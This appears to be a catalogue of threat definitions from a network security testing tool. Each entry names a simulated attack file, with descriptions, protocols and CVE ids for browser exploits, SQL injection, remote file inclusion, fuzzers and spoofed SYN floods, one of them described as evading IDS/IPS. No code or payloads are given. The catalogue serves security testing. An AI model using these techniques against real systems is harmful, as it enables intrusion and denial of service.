Threat File Name:	FSC20110121-04_Microsoft_Windows_Fax_Services_Cover_Page_Editor_Double_Free_Memory_Corruption.xml
Executive Description:	Microsoft Windows Fax Services Cover Page Editor Double Free Memory Corruption

Detailed Description:	A double free memory corruption vulnerability exists in Microsoft Windows Fax Services. The vulnerability is due to improper handling of Text objects while parsing Microsoft Fax cover page files. Remote attackers could exploit this vulnerability by enticing the target user to open a specially crafted Fax cover page file. Successful exploitation could result in execution of arbitrary code within the security context of the currently logged in user. An unsuccessful attempt will terminate the affected application abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
Threat File Name:	FSC20041118-01_Microsoft_Internet_Explorer_execCommand_File_Type_Spoofing.xml
Executive Description:	Microsoft Internet Explorer execCommand File Type Spoofing
Detailed Description:	A vulnerability exists in Microsoft Internet Explorer when the script command execCommand is used to save a document. A specially crafted filename will be displayed as another file type. An attacker can exploit this vulnerability to save code to the target system with the extension of an executable program (e.g. .js file) by tricking a user into believing that he is saving a non-executable file (e.g., .html file).
Protocol Type:	HTTP
CVEID:	CVE-2004-1331
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_RRQ_MAIL_formatn_IPv6.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_RRQ_MAIL_formatn.xml (IPv6 Version)
Detailed Description:	Fuzzes ModeNullTerm field by appending %n to mail with ranging sizes. OpCode is RRQ. (IPv6 Version)
Protocol Type:	TFTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	e107.xml
Executive Description:	e107 File Upload Attack
Detailed Description:	This threat takes advantage of a flaw in the e107 website system application which allows an attacker to upload an arbitrary file through PHP. This attack uploads a small script which the attacker can then use later to specify any PHP file to execute remotely.
Protocol Type:	HTTP
CVEID:	CVE-2004-2041
OSVDB:	16290
Threat Package:	Standard
Threat File Name:	TSL20110809-04_Microsoft_Internet_Explorer_XSLT_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer XSLT Memory Corruption(IPV6 VERSION)
Detailed Description:	A remote code execution vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the way in which Internet Explorer processes an iframe that points to an XSL document. This can result in access to an object that is not initialized or has already been deleted. A remote attacker could entice a target user to view a maliciously crafted web page that exploits this vulnerability to run arbitrary code in the target user's security context.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2011-1963
Threat File Name:	easymail_emprint_IPv6.xml
Executive Description:	EasyMail MessagePrinter Object (emprint.DLL 6.0.1.0) Heap-based buffer overflow vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the EasyMail MessagePrinter Object (emprint.DLL 6.0.1.0) ActiveX application, resulting in the overwritingof arbitrary files or code execution. This threat is delived via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-5070
Threat Package:	Standard
Threat File Name:	x86NOOPtcp8_IPv6.xml
Executive Description:	TCP x86 NOOP Packet Variant 7 (IPv6 Version)
Detailed Description:	This threat sends a TCP packet that appears to be part of an existing valid connection with a NOOP sled in it. A NOOP sled is used by shellcode to insure that the injected code will execute. Unfortunately, there are many other reasons why a NOOP might appear in traffic. This threat utilized equivalent assembly instructions to the standard NOOP instruction. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20070413-01_Microsoft_Windows_DNS_Server_RPC_Management_Interface_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows DNS Server RPC Management Interface Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a stack buffer overflow vulnerability in Microsoft Windows Domain Name System (DNS) Server services. The vulnerability is caused by a boundary error while handling specially crafted Remote Procedure Call (RPC) requests. Successful exploitation of the vulnerability could allow for arbitrary code injection and execution in the security context of the affected RPC Server service, commonly System. (IPv6 Version)
Protocol Type:	POLESTAR/IPv6
CVEID:	CVE-2007-1748
Threat Package:	Standard
Threat File Name:	irfanview_bof_IPv6.xml
Executive Description:	IrfanView <= 4.00 .IFF File Buffer Overflow (IPv6 Version)
Detailed Description:	This threat downloads a malicious .iff file which triggers a buffer overflow in the IrfanView application, this threat is delivered via http port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	firefoxFavIconInjec_IPv6.xml
Executive Description:	Firefox favicon.ico Javascript Injection (IPv6 Version)
Detailed Description:	This threat exploits a Javascript injection problem in Mozilla Firefox. This specifies the HREF element inside of a tag for the favorite icon as a block of Javascript, which can run under the privileges of the user browsing the web. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6

	CVEID:	CVE-2005-1155
	OSVDB:	15686
	Threat Package:	Standard
Threat File Name:	TSL20111031-03_Apple_Safari_WebKit_Form_Elements_Pure_Virtual_Function_Call.xml	
Executive Description:	Apple Safari WebKit Form Elements Pure Virtual Function Call	
Detailed Description:	A memory access error vulnerability exists within Apple WebKit, a component of Apple Safari and iOS, as well as Apple iTunes. The vulnerability is due to improper initialization of DOM objects for form= attributes. Remote attackers may exploit this vulnerability by enticing target users to visit a specially crafted web page. Successful exploitation would crash the browser resulting in denial-of-service condition. Note that code execution possibility has not been confirmed.	
Protocol Type:	HTTP,HTTPS	
CVEID:	CVE-2011-2813	
Threat File Name:	FSC20071206-13_Skype_skype4com_URI_Handler_Remote_Heap_Corruption_IPv6.xml	
Executive Description:	Skype skype4com URI Handler Remote Heap Corruption (IPv6 Version)	
Detailed Description:	There exists a heap corruption vulnerability in Skype application. The vulnerability is due to a boundary error when processing crafted URL parameters. An attacker could exploit this vulnerability by enticing target user to visit malicious web pages. Successful exploitation would allow for arbitrary code injection and execution with the privileges of the logged-in user privileges. (IPv6 Version)	
Protocol Type:	HTTP/IPv6	
CVEID:	CVE-2007-5989	
Threat Package:	Standard	
Threat File Name:	mozilla_idn_bof_IPv6.xml	
Executive Description:	Mozilla/Netscape/Firefox Browsers Domain Name Remote Buffer Overflow (IPv6 Version)	
Detailed Description:	This server based threat sends a malicious HTML document which uses a Javascript program to generate a buffer overflow in the browser's IDN parser. This is a server-side threat; the HTTP service typically listens on port 80. (IPv6 Version)	
Protocol Type:	HTTP/IPv6	
CVEID:	CVE-2005-2871	
OSVDB:	19255	
Threat File Name:	thomson_sip_st2030_dos_IPv6.xml	
Executive Description:	Thomson SIP phone ST 2030 Remote Denial of Service Vulnerability (IPv6 Version)	
Detailed Description:	This threat replays an attack against a Thomson 2030 sip phone containing a parsing issue which is not handled correctly by the phone resulting in a denial of service. This threat is delivered via UDP port 5060. (IPv6 Version)	
Protocol Type:	SIP/IPv6	
CVEID:	CVE-2007-4553	
Threat Package:	Standard	
Threat File Name:	TSL20120921-04_Novell_GroupWise_Addressbook_Parsing_Integer_Overflow.xml	
Executive Description:	Vulnerability Research Service	
Detailed Description:	A heap buffer overflow vulnerability has been identified in Novell Groupware Client. The vulnerability is due to an integer overflow while parsing Novell Address Book files. An attacker can exploit this vulnerability by enticing a user to open a malformed Novell Address Book (.nab) file containing an overly long token. A successful attack would lead to injection and execution of arbitrary code in the security context of the target user. If the code execution attempt does not succeed, the application may terminate abnormally.	
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS,GroupWise POA	
CVEID:	CVE-2012-0418	
OSVDB:	N/A	
Threat File Name:	TSL20130403-08_McAfee_Virtual_Technician_ActiveX_Control_Insecure_Method_Exposure_IPv6.xml	
Executive Description:	McAfee Virtual Technician ActiveX Control Insecure Method Exposure [IPv6, Version]	
Detailed Description:	An insecure method exposure vulnerability has been reported in McAfee Virtual Technician. The vulnerability is due to exposing the Save() method in an ActiveX control defined in the McHealthCheck.dll, which allows creating and overwriting arbitrary files on the vulnerable system with an XML file. Remote attackers can exploit this vulnerability by enticing a target user to open a crafted web page. Successful exploitation could result in corruption of files which might lead to a denial-of-service condition.	
Protocol Type:	IPv6,HTTP,HTTPS	
CVEID:	CVE-2012-5879	
OSVDB:	91700	
Threat File Name:	FSC20090331-08_IBM_WebSphere_Application_Server_Cross_Site_Scripting.xml	
Executive Description:	IBM WebSphere Application Server Cross Site Scripting	
Detailed Description:	A cross-site scripting vulnerability exists in IBM WebSphere Application Server (WAS). The flaw is due to lack of validation of the user supplied input data. The flaw may be exploited by malicious users to execute arbitrary HTML and script code on target user's web browser, within the context of a trusted web site. An attack targeting this vulnerability can result in the injection and execution of script code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Unsuccessful attack attempts could either be unnoticed by the target user, or cause incorrect rendering of the affected web pages.	
Protocol Type:	HTTP/HTTPS	
Threat Package:	Standard	
Threat File Name:	IIS_track.xml	
Executive Description:	IIS TRACK Request	
Detailed Description:	IIS 5.0 has an undocumented HTTP request TRACK. This request operates the same way as the RFC compliant request, TRACE. TRACK can be used for cross-site scripting attacks and password theft, and unlike TRACE it is not logged by IIS. IIS is a webserver, and typically listens on port 80.	
Protocol Type:	HTTP	
OSVDB:	4864	
Threat Package:	Standard	
Threat File Name:	fuzz-HTTP-TRACE_PrepndHTTPWithformatn.xml	
Executive Description:	Fuzz HTTP TRACE with Request-URI prepended with %n	
Detailed Description:	Fuzzes the Request-URI field by prepending %n	

Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	ovidenta_rfi.xml
Executive Description:	Ovidentia Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted HTTP query containing the path for a remote file to include in the returned page via malicious code in a web cookie for every installed script. Ovidentia is a web based application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2811
Threat Package:	Standard
Threat File Name:	SYN_URG_flood.xml
Executive Description:	Urgent SYN Flood
Detailed Description:	The urgent flag causes data to be immediately processed. A TCP SYN flood with the URG flag designated is known to evade IDS/IPS systems whose function is to defend against resource exhaustive attacks such as a SYN flood. The normal 3-way handshake for establishing a TCP session between the client and server involves the client sending a TCP SYN packet, the server receiving this packet and opening a socket connection for that user and sending a TCP SYN/ACK packet in return. At this point the server waits, with an open connection for the client to send a TCP ACK to confirm the session. This threat is executed by sending many TCP SYN packets with the URG bit set to the targeted machine from a spoofed source address. This will result in the target opening connections until its resources have been exhausted. This will result in a denial of service for all legitimate users.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	TSL20170428-05_Zabbix_Server_Active_Proxy_Trappor_Command_Injection_IPv6.xml
Executive Description:	Zabbix Server Active Proxy Trapper Command Injection (IPv6 Version)
Detailed Description:	A command injection vulnerability has been reported in Zabbix. The vulnerability is due to improper validation of user supplied input within the Trapper functionality of the server when the Auto-discovery or Auto-registration features are enabled. A remote, unauthenticated attacker could exploit this vulnerability by sending a special sequence of maliciously crafted requests to a vulnerable Zabbix proxy server. Successful exploitation of this vulnerability could lead to arbitrary command execution in the context of the Zabbix process.
Protocol Type:	Zabbix Trapper,IPv6
CVEID:	CVE-2017-2824
Threat File Name:	TSL20120123-04_Apache_Struts_2_ParametersInterceptor_OGNL_Command_Execution_IPv6.xml
Executive Description:	Apache Struts 2 ParametersInterceptor OGNL Command Execution(IPV6 Version)
Detailed Description:	A command execution vulnerability exists in the web application framework Apache Struts2. The vulnerability is due to insufficient input validation in the ParametersInterceptor component when parsing incoming HTTP requests. A remote attacker can leverage this vulnerability by sending a crafted HTTP request to a target system. In an attack scenario, where arbitrary commands are executed on the target machine, the malicious command will be executed within the security context of the target service.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2011-3923
OSVDB:	78109
Threat File Name:	TSL20161129-06_Disk_Pulse_Enterprise_Server_HttpParser_Buffer_Overflow.xml
Executive Description:	Disk Pulse Enterprise Server HttpParser Buffer Overflow
Detailed Description:	A buffer overflow vulnerability has been reported in the web server component of Disk Pulse Enterprise Server. The vulnerability is due to a failure on part of the application to implement proper bounds checking on components found in HTTP requests. A remote, unauthenticated attacker could exploit this vulnerability by sending crafted HTTP requests to the target server. Successful exploitation allows the attacker to execute arbitrary code in the security context of SYSTEM.
Protocol Type:	HTTP
Threat File Name:	FSC20060208-13_Sun_Directory_Server_LDAP_Denial_of_Service_IPv6.xml
Executive Description:	Sun Directory Server LDAP Denial of Service (IPv6 Version)
Detailed Description:	There exists a vulnerability in the Sun Directory Server. The flaw is caused due to improper handling of certain overly large LDAP messages. An unauthenticated remote attacker may exploit this vulnerability by sending a crafted LDAP message to the target host which may terminate the affected LDAP server on the target system. (IPv6 Version)
Protocol Type:	LDAP/IPv6
CVEID:	CVE-2006-0647
Threat Package:	Standard
Threat File Name:	dreamftp_bof.xml
Executive Description:	BolinTech DreamFTP USER buffer overflow Vulnerability
Detailed Description:	This threat crashes vulnerable DreamFTP when an excessively large USER string issued from a client.DreamFTP Server is an ftp server that typically listens on port 21.
Protocol Type:	FTP
CVEID:	CVE-2004-027
OSVDB:	4986
Threat Package:	Standard
Threat File Name:	phpmychat_cmi_b.xml
Executive Description:	PHPMyChat 0.15.0.dev MessagesL.PHP3 Command Injection / SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted HTTP query containing an SQL statement which when executed by the server allows the injection of PHP code which will also be executed by the server when the inserted record is displayed.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20040614-01_RealNetworks_RealPlayer_URL_Parsing_Buffer_Overflow_IPv6.xml
Executive Description:	RealNetworks RealPlayer URL Parsing Buffer Overflow (IPv6 Version)
Detailed Description:	A vulnerability exists in the way RealNetworks' RealPlayer products handle the parsing of URLs. A heap buffer overflow can occur when parsing a URL with a large number of period characters ("."). Using a specially crafted URL, an attacker can exploit this vulnerability to remotely execute arbitrary code. (IPv6 Version)
Protocol Type:	HTTP/IPv6

CVEID:	CVE-2004-0550
Threat Package:	Standard
Threat File Name:	imesh_activex_rexec.xml
Executive Description:	iMesh <= 7.1.0.x IMWebControl Class (IMWeb.dll 7.0.0.x) Remote Execution Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in iMesh IMWebControl Class (IMWeb.dll 7.0.0.x) ActiveX application, resulting in the overwriting of arbitrary files or code execution. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-6493
Threat Package:	Standard
Threat File Name:	FSC20070305-20_Apple_QuickTime_Color_Table_ID_Heap_Corruption_IPv6.xml
Executive Description:	Apple QuickTime Color Table ID Heap Corruption (IPv6 Version)
Detailed Description:	There exists a heap memory corruption vulnerability in Apple QuickTime product. The flaw is caused by insufficient checks when processing QTIF files. A remote attacker may exploit this vulnerability by enticing a target user to open a crafted QTIF file, thereby injecting and executing arbitrary code with the privileges of the currently logged-in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0718
Threat Package:	Standard
Threat File Name:	FSC20081014-34_VideoLAN_VLC_Media_Player_XSPF_Memory_Corruption.xml
Executive Description:	VideoLAN VLC Media Player XSPF Memory Corruption
Detailed Description:	There exists a memory corruption vulnerability in VideoLAN VLC Media Player. The flaw is due to insufficient data validation when processing XSPF playlist file. An attacker may entice the target user to open a crafted XSPF file to exploit this vulnerability. Successful attack may allow for arbitrary code injection and execution with privileges of the currently logged on user.
Protocol Type:	HTTP
CVEID:	CVE-2008-4558
Threat Package:	Standard
Threat File Name:	ftpd_ssl.xml
Executive Description:	FTP SSL Threat
Detailed Description:	This threat causes a buffer overflow condition in the linux port of OpenBSD's ftp daemon. This leads to remote code execution with the privileges of the ftp server. Ftpd typically listens on port 21.
Protocol Type:	FTP
CVEID:	CVE-2005-3524
OSVDB:	20530
Threat Package:	Standard
Threat File Name:	okul_web_otomasyon_sql.xml
Executive Description:	Okul Web Otomasyon Sistemi 4.0.1 Remote SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Okul Web Otomasyon Sistemi is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20140409-01_Microsoft_Internet_Explorer_CVE-2014-1753_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-1753 Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote unauthenticated attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2014-1753
OSVDB:	105526
Threat File Name:	TSL20120410-10_Microsoft_Office_Works_File_Converter_Heap_Overflow.xml
Executive Description:	Microsoft Office Works File Converter Heap Overflow
Detailed Description:	A heap buffer overflow vulnerability exists in Microsoft Office and Microsoft Works. The vulnerability is caused by insufficient boundary checking when parsing WPS files. Remote attackers could exploit this vulnerability by persuading a target user to open a specially crafted WPS file in a vulnerable version of one of the affected products. Successful exploitation would result in execution of arbitrary code with the privileges of the logged-in user. TELUS Security Labs has found that no heap buffer overflow takes place in Word 12 (Office 2007). The observed crash occurs as a result of a read-access violation, which is not believed to be exploitable.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB
CVEID:	CVE-2012-0177
Threat File Name:	logicsftwin.xml
Executive Description:	Logics Software LOG-FT Windows Arbitrary File Disclosure
Detailed Description:	This threat sends a specially crafted HTTP request that triggers an access validation error. Because of this error, LOG-FT will allow the attacker to read any file on the webserver in the user context of the sever. LOG-FT is a web application and is accessed via a web server, which typically listens on TCP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-1002
Threat Package:	Standard
Threat File Name:	pegasus_thumb_activex_overwrite.xml
Executive Description:	Pegasus Imaging ImagXpress 8.0 Remote Arbitrary File Overwrite Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in Pegasus Imaging ThumbnailXpress ActiveX application, resulting in the deletion of arbitrary files or code execution. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-5320
Threat Package:	Standard

Threat File Name:	InternetExplorerHeap_IPv6.xml
Executive Description:	Internet Explorer MS05-054 Unpatched Heap Exploit (IPv6 Version)
Detailed Description:	This threat exploits a known vulnerability in Internet Explorer. This problem was previously thought to be unexploitable and only a denial of service condition. Internet Explorer is a web browser that typically browses web sites on port 80. This is a client side attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1790
OSVDB:	17094
Threat Package:	Standard
Threat File Name:	FSC20080610-13_Microsoft_DirectX_Crafted_MJPEG_Stream_Handling_Code_Execution.xml
Executive Description:	Microsoft DirectX Crafted MJPEG Stream Handling Code Execution
Detailed Description:	A buffer overflow vulnerability exists in Microsoft DirectX application framework. The vulnerability is due to the way DirectX handles specially crafted MJPEG streams. A remote attacker could exploit this vulnerability by persuading a user to open a specially crafted ASF or AVI file, potentially causing arbitrary code to be injected and executed in the security context of the logged in user. In an attack case where code injection is not successful, the application utilizing the vulnerable DirectX library will terminate. In a more sophisticated attack scenario where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-0011
Threat Package:	Standard
Threat File Name:	mambo_flatmenu_rfi.xml
Executive Description:	Mambo 4.5.1 Modules Flatmenu <= 1.07 Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string containing a path to an arbitrary script file which is included by the server and executed on the affected server. Flatmenu is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-1702
Threat Package:	Standard
Threat File Name:	pearl_for_mambo_cmi.xml
Executive Description:	Pearl For Mambo 1.6 Remote File Include Vulnerability
Detailed Description:	This threats sends a crafted HTTP get query containing an PHP variable override for the GlobalSettingsVariable, which allows arbitrary inclusion of executable and nonexecutable code. Pearl For Mambo is a web based application which typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20071010-03_Adobe_Pagemaker_MAIPM6_DLL_Long_Font_Name_Buffer_Overflow_IPv6.xml
Executive Description:	Adobe Pagemaker MAIPM6.DLL Long Font Name Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in the way Adobe PageMaker processes PMD files. The vulnerability is due to lack of input validation while parsing font name strings in PMD files. A remote attacker can exploit this vulnerability by enticing the target user to open malicious PMD files, potentially causing arbitrary code to be injected and executed in the security context of the current user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-5169
Threat Package:	Standard
Threat File Name:	phpcommunitycalendar_sqli_b_IPv6.xml
Executive Description:	phpCommunityCalendar 4.0.3 SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP query containing an SQL query which is executed by the server via event.php's ID parameter. phpCommunityCalendar is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2797
Threat Package:	Standard
Threat File Name:	phpauction_rfi.xml
Executive Description:	PHPAuction 2.1 (phpAds_path) Remote File Inclusion Vulnerability
Detailed Description:	
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	3com_superstack_dos.xml
Executive Description:	3Com SuperStack II Denial of Service
Detailed Description:	This threat sends a malformed IP option length parameter. This causes some network devices to crash instantly.
Protocol Type:	IP
OSVDB:	22514
Threat Package:	Standard
Threat File Name:	ICMPParameterBadPointer_IPv6.xml
Executive Description:	ICMP Parameter Problem Pointer Out of Bounds Flood (IPv6 Version)
Detailed Description:	This threat sends a ICMP parameter problem message with a bogus payload and a pointer that points beyond the end of the payload block. This can cause an out of bounds error on stack implementations that do not check if the pointer is greater than the message length. (IPv6 Version)
Protocol Type:	ICMP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20080911-20_Multiple_Products_libxml2_XML_File_Processing_Long_Entity_Name_Buffer_Overflow_IPv6.xml
Executive Description:	Multiple Products libxml2 XML File Processing Long Entity Name Buffer Overflow (IPv6 Version)

Detailed Description:	A vulnerability has been reported in libxml2 that could allow remote attackers to execute arbitrary code on the vulnerable system. The vulnerability is due to a boundary error within the Libxml2, specifically in the way libxml2 handles long XML entity names. Remote attackers could exploit this vulnerability by persuading a target user to open a specially crafted XML file. As a result of processing the malicious file a heap-based buffer overflow can be triggered. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the logged in user. In an attack case where code injection is not successful, the affected process will terminate abnormally. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-3529
Threat Package:	Standard
Threat File Name:	ub threats_cmi.xml
Executive Description:	UBBThreads Remote File Inclusion
Detailed Description:	This threat send a crafted HTTP query containing a local or remote path to a file which is included into the PHP source via addpost_newpoll.php's "thispath" parameter. UBBThreads is a web based application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2675
Threat Package:	Standard
Threat File Name:	TSL20140228-04_Microsoft_Internet_Explorer_CVE-2014-0287_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-0287 Use After Free(IPv6 Version)
Detailed Description:	A use-after-free vulnerability exists in Internet Explorer. The vulnerability is due to an error in the way objects are handled. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2014-0287
OSVDB:	103185
Threat File Name:	TSL20111209-05_Apache_Struts_2_ConversionErrorInterceptor_OGNL_Script_Injection_IPv6.xml
Executive Description:	Apache Struts 2 ConversionErrorInterceptor OGNL Script Injection(IPV6 Version)
Detailed Description:	A script injection vulnerability has been found in Apache Struts 2. The vulnerability is due to a design error: HTTP request parameters are interpreted as OGNL expressions when conversion errors occur. A remote, unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to a vulnerable Struts 2 web application. A successful attack will result in the execution of arbitrary OGNL expressions (possibly OS commands) in the security context of the web application server.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2012-0391
Threat File Name:	FSC20100122-02_Microsoft_Internet_Explorer_DOM_mergeAttributes_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer DOM mergeAttributes Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to insufficient input validation in the DOM mergeAttributes script method. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2010-0247
Threat Package:	Standard
Threat File Name:	FSC20100914-04_Microsoft_Multiple_Products_Uniscribe_Font_Parsing_Engine_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Multiple Products Uniscribe Font Parsing Engine Memory Corruption (IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Windows and Microsoft Office products. The vulnerability is due to improper input validation of a table in the TrueType font layout. This vulnerability may be exploited by remote attackers to execute arbitrary code on the target system by enticing a target user to open a maliciously crafted document. In situations where code execution is successful the injected code will run within the security context of the currently logged-on user.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2010-2738
Threat Package:	Standard
Threat File Name:	phpmycms_rfi.xml
Executive Description:	PhpMyCms <= 0.3 (basic.inc.php) Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. PhpMyCMS is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20041014-01_Microsoft_Windows_Compressed_Folders_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows Compressed Folders Buffer Overflow (IPv6 Version)
Detailed Description:	A vulnerability exists in the Microsoft Windows compressed folder handling method. A specially crafted compressed folder, containing a file with an overly long file name could trigger a buffer overflow. This flaw could allow an attacker to inject and execute malicious code on a target machine. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0575
Threat Package:	Standard
Threat File Name:	FSC20070508-10_Microsoft_Word_Array_Data_Handling_Buffer_Overflow.xml
Executive Description:	Microsoft Word Array Data Handling Buffer Overflow

Detailed Description:	A buffer overflow vulnerability exists in the way Microsoft Word processes word documents. The vulnerability is the result of an infinite loop. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Word document, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate as a result of the attack attempt. If unexpected termination of the vulnerable application is the sole result of an attack, there is no impact to the overall operation of the target host. It is, however, possible to lose all unsaved data due to the abnormal termination.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2007-0035
Threat Package:	Standard
Threat File Name:	pshAckFlood_IPv6.xml
Executive Description:	TCP PSH/ACK Flood (IPv6 Version)
Detailed Description:	This threat floods a user specified target with TCP packets from a user specified source IP address where the PSH (push) and ACK (acknowledgement) flags have been set. Packets of this fashion will be sent during a shellcode attack when attempting to remotely execute unauthorized instructions while attempting to gain a root shell. This attack may be enhanced by randomizing the source IP address. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20110727-05_Apple_Safari_WebKit_SVG_Memory_Corruption_IPv6.xml
Executive Description:	Apple Safari WebKit SVG Memory Corruption(IPv6 Version)
Detailed Description:	A heap memory corruption vulnerability has been found in the WebKit component of Apple Safari. The vulnerability is located in the code that handles Scalable Vector Graphics (SVG) objects and causes access to corrupted memory. A remote attacker could entice a target user to view a maliciously crafted web page that exploits this vulnerability to run arbitrary code in the target user's security context.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2011-0222
Threat File Name:	SYNflood2_IPv6.xml
Executive Description:	TCP SYN Flood 2 (IPv6 Version)
Detailed Description:	The normal 3-way handshake for establishing a TCP session between the client and server involves the client sending a TCP SYN packet, the server receiving this packet and opening a socket connection for that user and sending a TCP SYN/ACK packet in return. At this point the server waits, with an open connection for the client to send a TCP ACK to confirm the session. This threat is executed by sending many TCP SYN packet to the targeted machine from a user specified source address. This will result in the target opening connections until its resources have been exhausted. This will result in a denial of service for all legitimate users. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-1999-0116
OSVDB:	10182
Threat Package:	Standard
Threat File Name:	FSC20041116-01_Ipswitch_IMail_IMAP_Service_DELETE_Command_Buffer_Overflow.xml
Executive Description:	Ipswitch IMail IMAP Service DELETE Command Buffer Overflow
Detailed Description:	There is a vulnerability in the way the Ipswitch IMail IMAP service processes the DELETE command. An argument to this command that is excessively long will trigger a stack-based buffer overflow. An attacker can exploit this vulnerability to terminate the service and create a denial of service condition or execute arbitrary code.
Protocol Type:	IMAP
CVEID:	CVE-2004-1520
Threat Package:	Standard
Threat File Name:	gepi_rfi_IPv6.xml
Executive Description:	Gepi 1.4.0 savebackup.php remote file inclusion vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected webserver. GEPI is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5669
Threat Package:	Standard
Threat File Name:	TSL20120629-01_Apple_QuickTime_TeXML_Color_String_Parsing_Buffer_Overflow_IPv6.xml
Executive Description:	Apple QuickTime TeXML Color String Parsing Buffer Overflow(IPv6 Version)
